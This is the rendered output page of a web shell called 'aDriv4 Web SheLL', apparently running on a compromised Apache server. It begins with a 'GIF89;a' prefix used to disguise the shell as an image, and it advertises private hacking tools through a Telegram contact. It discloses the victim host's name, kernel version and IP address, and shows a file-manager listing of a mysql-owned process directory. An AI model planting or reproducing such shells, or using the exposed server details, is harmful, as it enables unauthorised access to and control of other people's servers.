GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server2.lukinet.app 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
 Apache
 184.94.215.141

Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2026-02-21 12:46:23
.. dir - root/root 0555 2025-12-23 06:33:41
attr dir - mysql/mysql 0555 2026-02-21 05:15:05
fd dir - mysql/mysql 0500 2026-02-21 05:15:05
fdinfo dir - mysql/mysql 0500 2026-02-21 05:15:05
map_files dir - mysql/mysql 0500 2026-02-21 05:15:05
net dir - mysql/mysql 0555 2026-02-21 05:15:05
ns dir - mysql/mysql 0511 2026-02-21 05:15:05
task dir - mysql/mysql 0555 2026-02-21 05:05:27
autogroup text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
auxv 0 B mysql/mysql 0400 2026-02-21 05:15:05
cgroup text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:05
clear_refs 0 B mysql/mysql 0200 2026-02-21 05:15:05
cmdline text/plain 0 B mysql/mysql 0444 2026-02-21 02:43:05
comm text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
coredump_filter text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
cpu_resctrl_groups text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:05
cpuset application/octet-stream 0 B mysql/mysql 0444 2026-02-21 05:15:05
environ 0 B mysql/mysql 0400 2026-02-21 05:15:05
gid_map text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
io 0 B mysql/mysql 0400 2026-02-21 05:15:05
limits text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:05
loginuid text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
maps 0 B mysql/mysql 0444 2026-02-21 05:15:05
mem 0 B mysql/mysql 0600 2026-02-21 05:15:05
mountinfo text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:05
mounts text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:05
mountstats 0 B mysql/mysql 0400 2026-02-21 05:15:05
numa_maps 0 B mysql/mysql 0444 2026-02-21 05:15:05
oom_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 05:15:05
oom_score text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:05
oom_score_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 05:15:05
pagemap 0 B mysql/mysql 0400 2026-02-21 05:15:05
patch_state 0 B mysql/mysql 0400 2026-02-21 05:15:05
personality 0 B mysql/mysql 0400 2026-02-21 05:15:05
projid_map text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
sched text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
schedstat text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:05
sessionid text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:05
setgroups text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
smaps 0 B mysql/mysql 0444 2026-02-21 05:15:05
smaps_rollup 0 B mysql/mysql 0444 2026-02-21 05:15:05
stack 0 B mysql/mysql 0400 2026-02-21 05:15:05
stat text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:02
statm text/plain 0 B mysql/mysql 0444 2026-02-21 05:05:05
status text/plain 0 B mysql/mysql 0444 2026-02-21 05:15:02
syscall 0 B mysql/mysql 0400 2026-02-21 05:15:05
timens_offsets text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
timers application/x-empty 0 B mysql/mysql 0444 2026-02-21 05:15:05
timerslack_ns 0 B mysql/mysql 0666 2026-02-21 05:15:05
uid_map text/plain 0 B mysql/mysql 0644 2026-02-21 05:15:05
wchan application/octet-stream 0 B mysql/mysql 0444 2026-02-21 05:15:05
© aDriv4